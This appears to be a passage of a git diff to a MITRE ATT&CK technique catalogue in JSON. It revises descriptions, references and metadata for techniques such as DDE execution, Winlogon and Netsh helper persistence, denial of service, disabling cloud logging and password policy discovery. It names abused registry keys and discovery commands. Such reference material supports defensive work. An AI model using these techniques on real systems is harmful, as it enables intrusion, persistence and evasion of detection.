special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.001", "kill_chain": [ @@ -10303,7 +9179,7 @@ "value": "Domain Trust Modification - T1484.002" }, { - "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", "meta": { "external_id": "CAPEC-528", "kill_chain": [ @@ -10378,7 +9254,7 @@ "value": "Password Filter DLL - T1556.002" }, { - "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.002", "kill_chain": [ @@ -10461,7 +9337,7 @@ "https://attack.mitre.org/techniques/T1557/002", "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411", "https://tools.ietf.org/html/rfc826", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ] }, "related": [ @@ -10474,7 +9350,7 @@ "value": "ARP Cache Poisoning - T1557.002" }, { - "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", + "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "meta": { "external_id": "T1559.002", "kill_chain": [ @@ -10491,8 +9367,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1559/002", "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", - "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/", - "https://owasp.org/www-community/attacks/CSV_Injection", "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", @@ -10513,7 +9387,7 @@ "value": "Dynamic Data Exchange - T1559.002" }, { - "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { "external_id": "T1568.002", "kill_chain": [ @@ -10552,7 +9426,7 @@ "value": "Domain Generation Algorithms - T1568.002" }, { - "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", + "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", "meta": { "external_id": "T1562.008", "kill_chain": [ @@ -10626,8 +9500,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Creation", - "Instance: Instance Metadata" + "Instance: Instance Creation" ], "mitre_platforms": [ "IaaS" @@ -10839,7 +9712,7 @@ "value": "Time Based Evasion - T1497.003" }, { - "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", + "description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)", "meta": { "external_id": "T1499.003", "kill_chain": [ @@ -10912,7 +9785,7 @@ "value": "Pluggable Authentication Modules - T1556.003" }, { - "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565.003", "kill_chain": [ @@ -10984,8 +9857,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Deletion", - "Instance: Instance Metadata" + "Instance: Instance Deletion" ], "mitre_platforms": [ "IaaS" @@ -11073,7 +9945,7 @@ "value": "NTFS File Attributes - T1564.004" }, { - "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "meta": { "external_id": "CAPEC-579", "kill_chain": [ @@ -11122,7 +9994,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1555/004", - "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/", + "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store", "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea", @@ -11140,7 +10012,7 @@ "value": "Windows Credential Manager - T1555.004" }, { - "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)", + "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)", "meta": { "external_id": "T1556.004", "kill_chain": [ @@ -11158,7 +10030,7 @@ "https://attack.mitre.org/techniques/T1556/004", "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html" ] }, "related": [ @@ -11245,7 +10117,6 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Creation", - "Image: Image Metadata", "Process: Process Creation", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" @@ -11272,7 +10143,7 @@ "value": "Run Virtual Instance - T1564.006" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", "meta": { "external_id": "T1546.007", "kill_chain": [ @@ -11366,8 +10237,7 @@ "Windows", "Office 365", "Linux", - "macOS", - "Google Workspace" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1564/008", @@ -11396,7 +10266,6 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Metadata", "Instance: Instance Modification", "Instance: Instance Start", "Instance: Instance Stop" @@ -11473,15 +10342,8 @@ "mitre-attack:discovery" ], "mitre_data_sources": [ - "Active Directory: Active Directory Object Access", "Command: Command Execution", - "File: File Access", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow", - "Process: OS API Execution", - "Process: Process Access", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Access" + "Process: Process Creation" ], "mitre_platforms": [ "Linux", @@ -11515,15 +10377,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" ] }, - "related": [ - { - "dest-uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", "value": "Disguise Root/Jailbreak Indicators - T1408" }, @@ -11620,8 +10474,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Instance: Instance Creation", - "Instance: Instance Metadata" + "Instance: Instance Creation" ], "mitre_platforms": [ "IaaS" @@ -11672,7 +10525,7 @@ "value": "Obtain booter/stressor subscription - T1396" }, { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.", "meta": { "external_id": "T1010", "kill_chain": [ @@ -11685,12 +10538,10 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1010", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + "https://attack.mitre.org/techniques/T1010" ] }, "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", @@ -11739,12 +10590,6 @@ "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "meta": { "external_id": "CAPEC-579", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1004", "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", @@ -11784,15 +10629,7 @@ "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" ] }, - "related": [ - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "value": "Modify System Partition - T1400" }, @@ -11800,14 +10637,6 @@ "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", "meta": { "external_id": "T1500", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1500", "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", @@ -11850,7 +10679,7 @@ "value": "Direct Volume Access - T1006" }, { - "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "external_id": "CAPEC-574", "kill_chain": [ @@ -11862,8 +10691,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1007", @@ -11906,12 +10734,6 @@ "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", "meta": { "external_id": "T1101", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "https://attack.mitre.org/techniques/T1101", @@ -11931,7 +10753,7 @@ "value": "Security Support Provider - T1101" }, { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "meta": { "external_id": "CAPEC-646", "kill_chain": [ @@ -11944,21 +10766,18 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1120", - "https://capec.mitre.org/data/definitions/646.html", - "https://linuxhint.com/list-usb-devices-linux/", - "https://ss64.com/osx/system_profiler.html" + "https://capec.mitre.org/data/definitions/646.html" ] }, "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", "value": "Peripheral Device Discovery - T1120" }, { - "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", "meta": { "external_id": "T1201", "kill_chain": [ @@ -11973,15 +10792,13 @@ "Windows", "Linux", "macOS", - "IaaS", - "Network" + "IaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1201", "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html", "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + 